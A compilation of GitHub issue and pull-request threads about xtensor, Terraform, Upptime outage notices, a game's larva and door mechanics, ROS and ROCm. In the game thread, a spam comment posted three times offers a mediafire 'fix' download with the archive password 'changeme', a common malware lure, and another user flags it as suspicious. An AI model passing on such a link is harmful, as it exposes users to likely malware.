This commit should enable gemm, gemv and dot to be used from xarray's, xtensors and xviews.
Currently there is, sadly, no broadcasting but with this in place it shouldn't be too hard to add.
Just wanted to ask for some initial feedback if this is interesting for you or not so much.
Cheers,
Wolf

@wolfv thanks for getting the ball rolling on this.
Regarding the implementation of SIMD-accelerated BLAS-level operations, @JohanMabille has worked on an implementation for 1-D / 2-D operations. xtensor is one piece of a "let's start over" project wrt to the different things that we have done over the years. The preferred approach for us would be to not use a third-party BLAS implementation but a (new) pure C++ of SIMD-accelerated routines by Kazushige Goto.
On the subject of dot products within xtensor, there is more than just BLAS. We should probably have three categories of dot

dot
tensor_dot
einsum see e.g. https://docs.scipy.org/doc/numpy/reference/generated/numpy.einsum.html

xtensor's einsum will probably not be like numpy's in that it will most likely not depend on strings, but use some meta-programming.

Sounds good! Then I'll hold off developing this any further for the moment and wait for this new stuff ;)
Just out of curiosity, is anything of Goto's new routines already somewhere to be found? I tried searching a bit.
On the other hand, IMO it would be nice to have a few BLAS functions handy, with known high performance and maybe some LAPACK stuff would make xtensor really useful for many applications. But maybe it should be split into a separate repository...

By any means, this is not a "hold on, we will do the whole thing". We can involve you in the very early stages of the discussion.

Awesome, yeah I am really keen on hearing what you're planning. I had a look at xsimd and it looks interesting :)

Btw. would you consider merging just the changes in xview? That would make it easy to add e.g. these BLAS functions as "addon" under some repository like xtensor-blas etc.
I would also be happy to contribute tests for this function.

I found this project: https://github.com/guyz/cpp-array/blob/master/array/expr.hpp where they have an template-based expression matcher that chooses the correct BLAS overload to use the library efficiently for evaluation. Just wanted to add this here as a note.

Closing. Will open an issue for further discussion when we get to it.

authors: SylvainCorlay wolfv

repo: QuantStack/xtensor


text:
add cloudwatch logs arn to outputs

Add cloudwatch logs arn to module outputs

@AngadiS do you know when a new release will be made available?

@AngadiS do you know when a new release will be made available?

@szesch release v4.0.1 is made available.

authors: AngadiS szesch

repo: QuiNovas/terraform-aws-cloudtrail


text:
How to change dialog body textView typeFace?

I want to change dialog body textView typeFace. How to do it?

@iman2420 please read our documentation

@tatanka987 I read documentation. but i can not find any textView to change font and can not find any list item to setOnLongClickListener
QuickBlox SDK version is 3.3.5.
I use Q-municate as base.

@iman2420, to change dialog body textView typeFace just create the next style:
    <style name="TextViewTextMsg.Right">
<item name="android:typeface">serif</item>
   </style>

repo: QuickBlox/q-municate-android


text:
Add a text tokens api

While the api part is finished, the implementation still needs work, particularly with implementing tokenization in every place it should be used. It also needs more tests. The option dtt (Dump Text Tokens) was added for debugging/testing purposes
As for the api: It's visitor based, and programs may add visitors with TextTokenVisitor.addVisitor.

Codecov Report
Base: 77.22% // Head: 77.46% // Increases project coverage by +0.24% :tada:

Coverage data is based on head (cc79d22) compared to base (5914f76).
Patch coverage: 87.77% of modified lines in pull request are covered.

Additional details and impacted files
@@                 Coverage Diff                  @@
##             develop/1.10.0     #218      +/-   ##
====================================================
+ Coverage             77.22%   77.46%   +0.24%
- Complexity             8085     8175      +90
====================================================
  Files                   225      233       +8
  Lines                 25950    26318     +368
  Branches               6728     6849     +121
====================================================
+ Hits                  20040    20388     +348
- Misses                 3902     3910       +8
- Partials               2008     2020      +12

Impacted Files
Coverage Δ

...a/decompiler/modules/decompiler/ExprProcessor.java
87.87% <50.00%> (ø)

...ler/modules/decompiler/exps/InvocationExprent.java
80.88% <60.00%> (ø)

.../java/decompiler/main/extern/TextTokenVisitor.java
75.75% <75.75%> (ø)

...etbrains/java/decompiler/util/token/TextToken.java
80.00% <80.00%> (ø)

...rg/jetbrains/java/decompiler/main/ClassWriter.java
72.71% <83.87%> (-0.05%)
:arrow_down:

.../java/decompiler/util/token/VariableTextToken.java
85.71% <85.71%> (ø)

...g/jetbrains/java/decompiler/main/RecordHelper.java
80.48% <88.23%> (-0.19%)
:arrow_down:

...org/jetbrains/java/decompiler/util/TextBuffer.java
69.63% <92.18%> (+3.54%)
:arrow_up:

...va/decompiler/util/token/TextTokenDumpVisitor.java
92.59% <92.59%> (ø)

...org/jetbrains/java/decompiler/main/Fernflower.java
59.59% <100.00%> (+0.83%)
:arrow_up:

... and 12 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

authors: ByMartrixx codecov-commenter

repo: QuiltMC/quiltflower


text:
Split DE analysis and plotting into functions

This PR runs DEseq from a script, then saves an RData file that can subsequently be loaded to produce reports etc.

load data
fit DEseq2 model, create dds object
calculate differentially expressed genes
create output files

This all looks great.
I think I will have some questions about how to modify the Rmd to use this, because it's not immediately obvious to me, but that isn't a problem for merging these scripts - I think the only way to work out any questions is to test it.

Yeah that's what I'm working on in the other PR -- basically the Rmd loads the DESeq object that is exported at the end of this script and plots everything needed. The idea is that the DEseq model can be learned on all the data at once, or on facets of the data as appropriate, and then reports can be generated on a different facet if that makes it more readable.
This branch should be mergeable without that being done, but it won't really be useable.

I think config.new.yaml isn't necessary anymore right?

Yeah the config stuff needs some cleaning up. I've been keeping several versions at once just so that both the "old" and "new" pipelines both still work but it's possible I can delete some of them now. There's also some duplication in the config file itself (ie the project name is specified more than once) that could be cleaned up.


text:
StatisticApi - DTO & Serializer

Create a data model to store StatisticApi response and create a Serializer to make it easy to convert response to this model.
For this endpoint, we have a lot of sub-models such as Operators !!
Please discuss about the models you wanna use in thread before preparing it for PR.

I use https://github.com/jenssegers/model when I want things like this, but I do use laravel on my sites.  So not sure how you'd feel about that.

For the DTO, it would be nice to have helper methods to group the constants as well.  Something like pve()/pvp() etc.

authors: Korbeil stygiansabyss


text:
Slider Image Anchoring

@charrismatic  I can't figure out how to anchor slider images at the top -- would you be able to take a look and see if it is possible?

The style is set in a custom css file linked in the commit here 6181e4379423fe198e0ee29d97938c0e35ade344
Now that you've changed the images in the slide this looks a lot better.

On my screen, it should only be the first slider image that is anchored at the top! The second one now does not show the back of the t-shirt anymore so it should be anchored center. the same for the last slider! @charrismatic @ybvau

There's no option to anchor individual slides. The only thing we can do is apply is globally to all slides through css

ok - then we have to cut the images I guess :-(

It may be helpful to make sure that all the images are the same size and shape and that there is a safe zone around the edges where it may scale out of frame

Re-scaled Maria img. Reopen if it does not meet expectations

authors: charrismatic sbrunswi ybvau

repo: RCODI/rcodi-blog


text:
[Question]

Hi everyone, does this work with real-time live games? lets say soloq or flex? or a need to spectate

Hey!
It should also work to some extent when using it from outside of the spectator mode (e.g. as player), also in normal drafts and solo / flex queue games.
However, some information like summoner spells may not be available. Also you team will always show as blue team, while the enemy team will be the red team / right side.
Also we can't guarantee if and how it works. But feel free to try it out, and let us know if you run into any issues.

authors: Gnaj LarsBaertschi

repo: RCVolus/lol-pick-ban-ui


text:
Tidy up the package

Description

added changelog
added CIs for Anaconda Build | Python Build & Test with Conda | Python Build & Test with pip + SonarCloud check
added test coverage
restructured the package: moved IO handling to utils.py, moved CLI functionality to __main__.py
added conda meta.yaml and dev recipes
updated the documentation and the Jupyter example

TODO

[ ] update SonarCloud action with RCX credentials; add GH secrets
[ ] check Jupyter example (multiprocessing fails on macOS; I'm not sure if the problem's in the system or elsewhere)

Closes #2, #5, #6, #7, #8

@hechth, please add me to the contributors.

Some things we have to clarify:

package name: is it possible the tool will be expanded with new derivatization methods? If so, than gc-meox-tms is too restricting of a package name.
author/email: add RECETOX to authors and put our group email as the author_email?


text:
Move ReservedBytes to commit_verify crate

Required for https://github.com/BP-WG/bp-core/pull/81
Counterpart of https://github.com/LNP-BP/client_side_validation/pull/161

@zoedberg I pushed a commit with re-export. Should work now

repo: RGB-WG/rgb-core


text:
remove unused dependencies

This PR removes @patternfly/react-table
I wonder if we want also to remove redux if we are not going to use toast notifications

I wonder if we want also to remove redux if we are not going to use toast notifications

I'm all for removing everything we are not using :+1:

authors: amirfefer ezr-ondrej

repo: RHEnVision/provisioning-frontend


text:
🛑 RC Documentation is down

In 2a311ea, RC Documentation ($URL_RC_DOCUMENTATION) was down:

HTTP code: 0
Response time: 0 ms

Resolved: RC Documentation is back up in a322e29.

repo: RIT-RC/rc-status-page


text:
Graph Shape table

The graph shape table will replicate the row toggle boxes when you change the type of graph during edits on the web page.
I.E.  3 rows are made and change line graph to bar you will now have 3 toggle boxes.
Will be looking to fix this soon.
This code is in the chart.js file around line 457 down.

Issue has been resolved

repo: RITAccess/Glance-data-analyzer


text:
🛑 Dermaced Shopify is down

In 0ea5d57, Dermaced Shopify (https://dermaced.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Dermaced Shopify is back up in 2b82040 after 30 minutes.

repo: RJVCA/uptime


text:
🛑 Cleanse Drops Kidney is down

In cd77c22, Cleanse Drops Kidney (http://cleansedropskidney.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Cleanse Drops Kidney is back up in 1a64014 after 12 minutes.


text:
🛑 CEOTR Home Page loads is down

In 4bde18f, CEOTR Home Page loads (https://stg.ceotr.ca CEOTR Home) was down:

HTTP code: 0
Response time: 0 ms

Resolved: CEOTR Home Page loads is back up in c6c5ba4 after 2 minutes.

repo: RKTowse/upptime


text:
🛑 CEOTR Home Page loads is down

In ec939a7, CEOTR Home Page loads (https://stg.ceotr.ca CEOTR Home) was down:

HTTP code: 0
Response time: 0 ms

Resolved: CEOTR Home Page loads is back up in b672c8d after 2 minutes.


text:
🛑 Sensor Tracker login is down

In 0e954c5, Sensor Tracker login (https://stg.ceotr.ca/sensor_tracker) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Sensor tracker login is back up in f98642f after .


text:
🛑 Sensor Tracker login is down

In 43c2279, Sensor Tracker login (https://stg.ceotr.ca/sensor_tracker) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Sensor tracker login is back up in 1a60690 after .


text:
🛑 CEOTR Home Page loads is down

In 98372a3, CEOTR Home Page loads (https://stg.ceotr.ca CEOTR Home) was down:

HTTP code: 0
Response time: 0 ms

Resolved: CEOTR Home Page loads is back up in 6be0fdc after 2 minutes.


text:
🛑 CEOTR Home Page loads is down

In e486616, CEOTR Home Page loads (https://stg.ceotr.ca CEOTR Home) was down:

HTTP code: 0
Response time: 0 ms

Resolved: CEOTR Home Page loads is back up in 0358171 after 2 minutes.


text:
🛑 Sensor Tracker login is down

In 330894f, Sensor Tracker login (https://stg.ceotr.ca/sensor_tracker) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Sensor tracker login is back up in 6820831 after .


text:
🛑 CEOTR Home Page loads is down

In d78d6af, CEOTR Home Page loads (https://stg.ceotr.ca CEOTR Home) was down:

HTTP code: 0
Response time: 0 ms

Resolved: CEOTR Home Page loads is back up in b3dcdfa after 2 minutes.


text:
🛑 Sensor Tracker login is down

In 7f4ed35, Sensor Tracker login (https://stg.ceotr.ca/sensor_tracker) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Sensor tracker login is back up in ad1087b after .


text:
🛑 Sensor Tracker login is down

In 260ea9d, Sensor Tracker login (https://stg.ceotr.ca/sensor_tracker) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Sensor tracker login is back up in 2b169f2 after .


text:
🛑 CEOTR Home Page loads is down

In dbd6b9d, CEOTR Home Page loads (https://stg.ceotr.ca CEOTR Home) was down:

HTTP code: 0
Response time: 0 ms

Resolved: CEOTR Home Page loads is back up in ed10aec after 37 days, 15 hours, 44 minutes.


text:
🛑 Sensor Tracker login is down

In d3bde73, Sensor Tracker login (https://stg.ceotr.ca/sensor_tracker) was down:

HTTP code: 502
Response time: 46 ms

Resolved: Sensor tracker login is back up in 815e499 after 38 days, 11 hours, 24 minutes.


text:
🛑 Sensor Tracker login is down

In a8fcb4c, Sensor Tracker login (https://stg.ceotr.ca/sensor_tracker) was down:

HTTP code: 502
Response time: 126 ms

Resolved: Sensor tracker login is back up in e398596 after 43 days, 6 hours, 33 minutes.


text:
Surgery lockdown should bolt the doors too

To my knowledge larva can't go under doors. This prevents people from feeling the need to put barricades which look absurd outside the surgery doors, and makes a ton of sense in-character. You wouldn't want people just rushing into a surgery room in-character due to contamination/security anyways, and marines know Xenos are an issue and thus should have some reasonable safeguards like this to prevent prepared and thoughtful surgeons from loosing a runner onto the ship.
Larva that escape onto the ship won't stop happening, but they will be more reasonably preventable.

Wrong: Larva can go under doors

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

@QuietlyWhisper @DrSmugleaf Hey um, this link looks suspicious. Also the question doesn't need a link to answer.

hi bro, to fix your trouble try this fix, i see it in another issue, https://app.mediafire.com/dqajf1x14ccfd password: changeme when you installing it, you need to place a check in install to path and select usx

Wrong: Larva can go under doors
There shouldn't be any barricades near surgery anyway, you ain't supposed to build on the ship unless hijack or you know there's a xeno harassing people. I'd only imagine you'd be ok to build a barricade if this problem as happened multiple times.

Bolted doors are supposed to deny larvas last I checked. Also yes, you can build barricades on JUST the doors once you know there's infected marines coming up.

Nope, bolted doors don't stop them. Only welded ones do

Nope, bolted doors don't stop them. Only welded ones do.
The other thing is kinda maybe barely passing the rules. I'm not an admin so I'm not 100% sure if you're allowed to or not.

We just discussed this internally which is actually why I made this pr. High security doors from upstream when bolted stop larva, just tested it. So if welding already does this on regular doors perhaps bolting should too tbh.

Nope, bolted doors don't stop them. Only welded ones do.
The other thing is kinda maybe barely passing the rules. I'm not an admin so I'm not 100% sure if you're allowed to or not.

13 or 14? In 14 bolted doors don't stop them, but are supposed to, like 13
https://github.com/user-attachments/assets/fa847b61-d5fc-4985-a1f8-679d9d39b83b
Either way, surgery lockdown isn't actually a lockdown, they are just privacy shutters, a larva is supposed to be able to sneak out of the surgery room if it bursts. There is no button in 13 that bolts those doors, the other one is a manual release so the patient doesn't get stuck in there.

The surgery room isn't supposed to be harder to exit as a larva either way, it is actually supposed to be easier than it is right now in 14, there is a scrubber and vent in that room for larva to escape through if they burst in there, and to avoid people powergaming by barricading the doors.

I moved the bolted bit to a new issue here https://github.com/RMC-14/RMC-14/issues/3909

authors: DaFieFie DrSmugleaf Vermidia blueDev2 goncastrum


text:
macos-latest check failing

Hard to tell if this is on our end, or something that will resolve itself.
Making an issue to track it.
See here: https://github.com/RMI-PACTA/r2dii.data/actions/runs/7818153068/job/21327688597?pr=333

I just re-ran it and it seems to be working now. Looks like it choked on downloading the r-lib action for some reason.
https://github.com/RMI-PACTA/r2dii.data/actions/runs/7818153068/job/21327960414?pr=333

Sweet thanks man, closing

authors: cjyetman jdhoffa


text:
What is secret password ?

Hi everyone,
i do not understand how to create password in below line. I created password manually but i get HMAC Mismatch error.  What is the logic to create a password?
NSString *password = @"Secret password";

@rnapier  could you plz answer?

I don't understand the question. What do you mean by "I created password manually?" What code did you use to create the password and to use the password?

authors: SoftwareEngieer rnapier

repo: RNCryptor/RNCryptor


text:
2 open manipulator x, same computer

Hello,
I have 2 open manipulator x robots controlled by 2 opencr 1.0. I want to use the same pc with ros and to control both robots with this pc. I managed to run the open manipulator controller script for both robots, on ACM0 and ACM1, and enable the robots. Also, I have a pick and place script. I doubled my script, but if i run both script, only one robots is moving. How can I control them using the same computer? What changes do I have to do?

Hi @LuchianRazvanAdrian,
I'm sorry about the delayed response.
You'll need to separate the controller for each manipulator.
Duplicate the controller launch file and use different namespaces for each controller will work (I tested with Gazebo quite a while ago)

This issue appears to be resolved, so it will be closed.


text:
Questions about base mesh files

Hello all,
I am doing some modifications on the Turtlebot3 Waffle frames to have space for some more sensors, as you can see below. I am working at a forked workspace on Onshape, and exporting it to use as a base mesh in the urdf.

So here are my questions:

Why are the meshes in this directory (e.g. waffle_base.stl) different from the ones exportable by the Onshape workspace (plates have less holes on it, etc)? Is it to make the files smaller? If so can we have access to editables for such plates?
Is there any reasons for the files being .stl rather than .dae? When exporting from Onshape collada files appear to be smaller on size, preserve color and do not need the scale or material tags in the urdf.

Hi @Affonso-Gui :)
Thank you for your inquiry about TurtleBot3!
The origin of waffle_base has too many surface to load on Rviz or Gazebo even size is too big. So we uploaded modified waffle_base to Github. Unfortunately, we don't have provided editable version of it.
We already know .dae file is recommended by OSRF. We have a plan to support it near future.
Thanks

Hello @routiful,
Thank you for clarifying. Looking forward for .dae support.

Nice. If you need any help, please feel free to open issue :)

authors: Affonso-Gui routiful


text:
Removed HIP specific matvec logic that is duplicated from tuned_gemm.py and doesn't support bf16

Removed HIP specific matvec logic that is duplicated from tuned_gemm.py and doesn't support bf16

The TunedGemm will only use torch.linear for all input if you did not tune the gemm using gradlib.
So either we keep the code for BS=1 (removed in this PR) in the linear layer or I can move it inside the
TunedGemm.mm().

Do we need to remove LL https://github.com/ROCm/vllm/pull/23/files#diff-10518665100e65af6ee570450fbac1eed58e58e954194ca06a48673f28871fdcL36-L50 ?

authors: charlifu gshtras

repo: ROCm/vllm


text:
Add hip-clang install to install script

Adding the HIP-Clang path which uses hipcc to compile rocPRIM instead.

This change is needed to enable hip-clang build in jenkins

repo: ROCmSoftwarePlatform/rocPRIM